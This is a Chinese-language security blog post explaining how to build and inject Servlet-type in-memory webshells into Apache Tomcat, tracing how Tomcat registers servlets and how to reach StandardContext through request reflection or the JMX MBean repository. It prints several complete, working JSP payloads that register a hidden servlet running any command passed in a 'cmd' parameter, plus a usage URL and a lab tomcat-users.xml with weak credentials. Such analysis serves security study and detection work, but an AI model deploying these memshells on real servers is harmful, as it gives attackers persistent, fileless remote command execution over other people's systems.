# Servlet 型内存马 1 实现

https://www.jianshu.com/p/d94cf9ac732d

# servlet 部分

一个简单的 servlet

public class ServletDemo implements Servlet {
    
    // 当 Servlet 第一次被创建对象时执行该方法,该方法在整个生命周期中只执行一次
    public void init(ServletConfig arg0) throws ServletException {
        System.out.println("init");
    }
    // 对客户端响应的方法,该方法会被执行多次,每次请求该 servlet 都会执行该方法
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }
    // 当 Servlet 被销毁时执行该方法
    public void destroy() {
        System.out.println("destroy");
    }
    
    // 当停止 tomcat 时销毁 servlet。
    public ServletConfig getServletConfig() {
        return null;
    }
    public String getServletInfo() {
        return null;
    }
}

类比 filter ,在 filter 型中我们需要在 doFilter 方法中填入恶意代码

servlet 中,我们需要在 service 方法中填入恶意代码,每次访问就会触发命令执行。

service 填入 RuntimeExec 和回显的部分,这个 servlet 就变成了进行命令执行的木马

package com.example.demo.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet(value = {"/miku"})
public class ServletDemo implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {}
    @Override
    public String getServletInfo() {return null;}
    @Override
    public void destroy() {}    public ServletConfig getServletConfig() {return null;}
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
    }
}

image-20220419194520360

# 完整内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<%
    class ServletDemo implements Servlet{
        @Override
        public void init(ServletConfig config) throws ServletException {}
        @Override
        public String getServletInfo() {return null;}
        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {return null;}

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }
%>


<%
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();

//设置Servlet名等
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

//设置ServletMap
    standardContext.addServletMapping("/xyz", "xyz");
    out.println("inject servlet success!");
%>

image-20220419194658348

然后访问

http://localhost:8080/demo_war_exploded/xyz?cmd=whoami

image-20220419194729412

# Servlet 内存马 1 分析

  • 通过获取 request 对象获取 StandardContext

Filter 中提到每一个 Context 是一个 Web 应用,而 Context 中可能存在多个 Wrapper 封装了请求。

StandardContextValve -- request.getWrapper --> StandardWrapperValve

StandardContextValve 中可以看到其父类 StandardContext 中有两个变量值得注意,一个是 children,一个是 servletMappingschildren 中所有的 Servlet 都是 StandardWrapper 类包装的,将其中一个展开会看到 nameservletClass 字段,也就是 StandardWrapper 对应的 web.xml 中的上半部分,类似 Filter 中的 FilterDef

img

StandardContext.children

另外,还可以看到 servletMappings 字段,包含了 servletname 和对应的 URL,即 web.xml 中的下半部分。

img

StandardContext.servletMappings

那么 Servlet 的内存马制作流程就是,先创建一个恶意的 Servlet ,用 Wrapper 将其包装后,放入到 StandardContextchildren 中,然后将 Servlet 和 url 绑定,放入 ServletMappings

# Servlet 生成与配置

如何创建一个 Wrapper ,并配置好 Servlet 进行动态添加呢?

首先得有一个创建 Wapper 实例的东西,这里可以从 StandardContext.createWrapper() 获得一个 Wrapper 对象

image-20220419204359527

前面说到过, Context 负责管理 Wrapper ,而 Wrapper 又负责管理 Servlet 实例。当获取到 StandardContext 对象,就可以用 createWapper() 来生成一个 Wrapper 对象。

接下来就是配置 Servlet ,探究配置过程,在 StandardWapper.setServletClass() 下断点,Debug 运行服务,看一下调用栈

image-20220419204744737

追溯到 configureStart ,开始配置 webconfig

image-20220419204838436

webConfig() 中读取了 web.xml

image-20220419204920361

然后根据 web.xml 配置 context

image-20220419205101532

configureContext() 中依次读取了 FilterListenerServlet 的配置及其映射,我们直接看 Servlet 部分

image-20220419211023993

使用 context 对象的 createWrapper() 方法创建了 Wapper 对象,然后设置了启动优先级 LoadOnStartUp ,以及 servletName

image-20220419211246481

接着配置了 ServletClass

image-20220419211626675

最后将创建并配置好的 Wrapper 加入到 ContextChild 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加 Servlet-Mappe r 了(对应 web.xml 中的

image-20220419211801569

取出 web.xml 中所有配置的 Servlet-Mapping ,通过 context.addServletMappingDecoded() 将 url 路径和 servlet 类做映射。跟进到 addServletMappingDecoded() 方法的 StandardContext 类中,发现 addServletMappingDecoded()addServletMapping() 是一样的,只不过后者是不建议使用(某些低版本的 Tomcat 可以尝试使用)

总结一下,Servlet 的生成与动态添加依次进行了以下步骤

  • 通过 context.createWapper() 创建 Wapper 对象;

  • 设置 ServletLoadOnStartUp 的值;

  • 设置 ServletName

  • 设置 Servlet 对应的 Class

  • Servlet 添加到 contextchildren 中;

  • url 路径和 servlet 类做映射。

# Servlet 装载过程

StandardContext.startInternal

image-20220419200535348

可以看到加载完 ListenerFilter 之后才装载 Servlet

前面已经完成了将所有 servlet 添加到 contextchildren 中, this.findChildren() 即把所有 Wapper (负责管理 Servlet )传入 loadOnStartup() 中处理,可想而知 loadOnStartup() 就是负责动态添加 Servlet 的一个函数

image-20220419202826999

可以看到这里获取所有 Wapper

跟进 StandardContext.loadOnStartup

image-20220419203649424

首先获取 Context 下所有的 Wapper 类,并获取到每个 Servlet 的启动顺序,筛选出 >= 0 的项加载到一个存放 Wapper 的 list 中。

image-20220419203840721

然后对每个 wapper 进行装载

装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作

装载:启动服务器时加载 Servlet 的实例

初始化:web 服务器启动时或 web 服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有 init () 方法负责执行完成

调用:即每次调用 Servlet 的 service (),从第一次到以后的多次访问,都是只是调用 doGet () 或 doPost () 方法(doGet、doPost 内部实现,具体参照 HttpServlet 类 service () 的重写)

销毁:停止服务器时调用 destroy () 方法,销毁实例

# 加载内存马

通过上面分析,我们需要做下面的事情

  • StandardContextchildren 属性中加入我们定义的 wrapper
  • servletMappingNames 属性中加入我们的 servlet 映射
  • 设置 servletloadOnStartup 属性值大于 0

# 生成 ServletDemo

class ServletDemo implements Servlet{
        @Override
        public void init(ServletConfig config) throws ServletException {}
        @Override
        public String getServletInfo() {return null;}
        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {return null;}
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }

# 获取 StandardContext

ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

# 向 children 属性添加 wrapper

ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
// 设置 Servlet 名等
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

# 配置 servlet-mapping

standardContext.addServletMapping("/xyz", "xyz");

最终得到上面的完整代码

# Servlet 内存马 2 分析与实现

  • 通过 MBean 获取 StandardContext

# 关于 MBean

在了解 MBean 之前需要了解一下 JMX,它是 java1.5 中引入的新特性。JMX 全称为 Java Management Extension ,即 Java 管理扩展。Tomcat 就是利用 JMX 来实现组件管理的, StandardContext、StandardEngine、StandardHost、StandardWrapper 等容器都继承自 LifecycleMBeanBase ,它是 JMX 生命周期的实现类。

JMX 的核心是 MBeanServer (代理服务器),用来管理各类 MBean (可以理解为组件 / 对象)。想要对组件实现统一的管理,首先要将 MBean 注册到 MBeanServer 。既然 JMX 应用时要将 MBean 注册到 MBeanServer,那么反过来想,从 MBeanServer 中可以获取到很多对象。能不能从 MBeanServer 入手最终获取 StandardContext ?

image-20220421095514203

# Tomcat 中如何获取 MBeanServer

Tomcat 提供的获取 MBeanServer 的方法位于 org.apache.tomcat.util.modeler.Registry 类,该类有个 getMBeanServer() 方法

image-20220421190227706

要想调用该方法首先要获取 Registry 对象,可以通过该类的 getRegistry 方法,当传入的参数为 null 时,会直接返回 Registry 对象。

image-20220421190409294

通过 Registry 获取 MBeanServer 代码如下

Registry.getRegistry(null, null).getMBeanServer();

MBeanServer 是个接口,上述代码获取的具体实现类实际上是 JmxMBeanServer

打开源码就能发现,这是个基础类,对于方法的实现基本上都是由成员变量实现的,主要方法都是由 mbsInterceptor 对象来调用。该对象对应的默认操作类是 DefaultMBeanServerInterceptor

image-20220421190711036

// JmxMBeanServer:MBean 操作的基类,提供 MBean 的操作方法
JmxMBeanServer{
        // 实例化工具
        private final MBeanInstantiator instantiator;
        // MBean 服务器委托对象
        private final MBeanServerDelegate mBeanServerDelegateObject;
        // 拦截器 -> 对应实现类为 DefaultMBeanServerInterceptor
        private volatile MBeanServer mbsInterceptor = null;
}

DefaultMBeanServerInterceptor 是 MBean 操作的默认类,成员变量如下。类中包含了对 MBean 操作的方法实现,例如 createMBeanqueryMBeans

// MBean 操作的默认类
DefaultMBeanServerInterceptor{
    // 实例化工具
    private final transient MBeanInstantiator instantiator;
    // MBeanServer 对象
    private transient MBeanServer server = null;
        // 委托对象
    private final transient MBeanServerDelegate delegate;
    // 存储注册的 MBean
    private final transient Repository repository;
    /** The default domain of the object names */
    private final String domain;
}

类中的成员变量包含了 MBeanServer 的引用,还有 Repository 。这个 Repositorycom.sun.jmx.mbeanserver.Repository ,JMX 的存储库对象,里面包含了很多 MBean

image-20220421191055151

// 存储库对象
Repository{
        // 存放 MBean 的 Map,外层 Map 的 key 是域,默认是字符串类型的 "domain"。里层的 Map 的 key 是 MBean 的 name,value 是 MBean 对象。
        private final Map<String,Map<String,NamedObject>> domainTb;
        // 存储库连接到的服务器的域名。
        private final String domain;
}

那么想要获取 MBean 对象,大致思路就是从获取的 JmxMBeanServer->DefaultMBeanServerInterceptor->Repository 。接下来的问题是, Repository 中的 MBean 具体有哪些对象?哪个对象可以获取到 StandardContext

Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository  = (Repository) field.get(obj);

# 如何查看已有的 MBean

更改 tomcat-user.xml ,将角色设计如下,重启 tomcat

<role rolename="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="manager-jmx"/>
  <role rolename="manager-status"/>
  <user username="tomcat" password="tomcat" roles="manager-gui,manager-jmx,manager-script,manager-status,admin-gui,admin-scrip"/>

访问 http://localhost:8080/manager/jmxproxy ,即可看到许多 MBean,快速搜 StandardContext ,会发现某些 MBean 中的 managedResourcecontainer 等字段,存在 StandardContext

img

大致搜索到相关的如下列表(省略了部分),另外如果仔细观察列表的话,发现很多 modelerType 都是 BaseModelMBean

// #1
Name: Catalina:j2eeType=WebModule,name=//localhost/MemshellTest_war_exploded,J2EEApplication=none,J2EEServer=none
modelerType: org.apache.catalina.mbeans.ContextMBean
managedResource
  
// 2
Name: Catalina:type=NamingResources,host=localhost,context=/MemshellTest_war_exploded
modelerType: org.apache.catalina.mbeans.NamingResourcesMBean
container
// 3
Name: Catalina:type=Valve,host=localhost,context=/MemshellTest_war_exploded,name=StandardContextValve
modelerType: org.apache.tomcat.util.modeler.BaseModelMBean

首先,如何在 Respoitory 中找到这些对应的 MBean ,可以发现在 Respository 对象的 domainTb 属性中,有一个名为 CatalinaHashMapvalue 中存放的就是 /manager/jmxproxy 页面看到的那些 name 字段的内容。

image-20220421195819395

想要获取 Catalina 某个 value 对应的对象,首先利用反射从 Repository 中获取属性 domainTb 。然后获取 domainTbCatalina 对应的 HashMap ,再根据某个具体的 value 获取对象。具体写法如下

field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map<String,NamedObject>> domainTb = (HashMap<String, Map<String,NamedObject>>)field.get(repository);
NamedObject object=domainTb.get("Catalina").get("J2EEApplication=none,J2EEServer=none,j2eeType=WebModule,name=//localhost/MemshellTest_war_exploded");

此时得到的是一个 NamedObject 对象, name 就是页面看到的字符串,object 就是具体的对象。展开这个 ContextMBean 对象,会发现其 resource 字段对应的就是 StandardContext

image-20220421195945151

NamedObject 获取 object 对象,利用反射完成。而 object 获取 resource 同理

field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object1=field.get(object); // 此时的 object1 即为图中的 object 对象,类型为图中的 ContextMBean
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object obj1 = field.get(object1);

# 如何从 MBean 间接得到 StandardContext

看到上面这个代码可能会有一问,明明对象是 ContextMBean ,在反射获取 resource 时,传入的为什么是 BaseModelMBean

如果打开源码会发现, ContextMBean 不存在任何属性。它的父类 BaseCatalinaMBean 也不具备任何属性。但是其父类的父类 BaseModelMBean 包含 resource 属性。所以在反射时写入的应该是具备属性的父类。

image-20220421200256974

image-20220421200313747

在网上看到的一般 MBean 获取 StandardContext 的方法都是 NonLoginAuthenticator 这个 object 。调试过程中还有如下的一些方法,可能还有更多,就不再展示了,仔细看看会发现基本都用到 BaseModelMBean

// #1 
NamedObject object=domainTb.get("Catalina").get("context=/MemshellTest_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object1=field.get(object);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object obj1 = field.get(object1);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
Object objectl=field.get(obj1);
// #2
NamedObject object=domainTb.get("Catalina").get("context=/MemshellTest_war_exploded,host=localhost,type=NamingResources");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object1=field.get(object);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object obj1 = field.get(object1);
field = Class.forName("org.apache.catalina.deploy.NamingResourcesImpl").getDeclaredField("container");
field.setAccessible(true);
Object objectl=field.get(obj1);
// #3
NamedObject object=domainTb.get("Catalina").get("context=/MemshellTest_war_exploded,host=localhost,name=StandardContextValve,type=Valve");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object1=field.get(object);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object obj1 = field.get(object1);
field = Class.forName("org.apache.catalina.valves.ValveBase").getDeclaredField("container");
field.setAccessible(true);
Object objectl=field.get(obj1);

我这里用的这个

image-20220421211607954

主要是,上面所说中(虽然这里也一样)

context=/MemshellTest_war_exploded,host=localhost,name=StandardContextValve,type=Valve

context 是项目名称, hostlocalhost ,在实际攻击中,这两个变量我们并不确定,所以感觉没什么用

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.Repository" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="com.sun.jmx.mbeanserver.JmxMBeanServer" %>
<%@ page import="org.apache.tomcat.util.modeler.Registry" %>
<%@ page import="org.apache.catalina.mbeans.ContextMBean" %>
<%@ page import="org.apache.catalina.authenticator.AuthenticatorBase" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.IOException" %><%--
  Created by IntelliJ IDEA.
  User: miku
  Date: 2022/4/21
  Time: 19:28
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    class ServletDemo implements Servlet{
        @Override
        public void init(ServletConfig config) throws ServletException {}
        @Override
        public String getServletInfo() {return null;}
        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {return null;}
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }
%>
<%
    JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) Registry.getRegistry(null, null).getMBeanServer();
// 获取 mbsInterceptor
    Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
    field.setAccessible(true);
    Object mbsInterceptor = field.get(jmxMBeanServer);
// 获取 repository
    field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
    field.setAccessible(true);
    Object repository = field.get(mbsInterceptor);
// 获取 domainTb
    field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
    field.setAccessible(true);
    HashMap<String, Map> domainTb = (HashMap<String,Map>)field.get(repository);
    NamedObject object= (NamedObject) domainTb.get("Catalina").get("J2EEApplication=none,J2EEServer=none,j2eeType=WebModule,name=//localhost/demo_war_exploded");
    field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
    field.setAccessible(true);
    Object object1=field.get(object); // 此时的 object1 即为图中的 object 对象,类型为图中的 ContextMBean
    field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
    field.setAccessible(true);
    StandardContext servletContext = (StandardContext) field.get(object1);
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
// 设置 Servlet 名等
    demoWrapper.setName("aaa");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);
// 设置 ServletMap
    standardContext.addServletMapping("/aaa", "aaa");
    out.println("inject servlet success!");
%>

image-20220421210427601

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝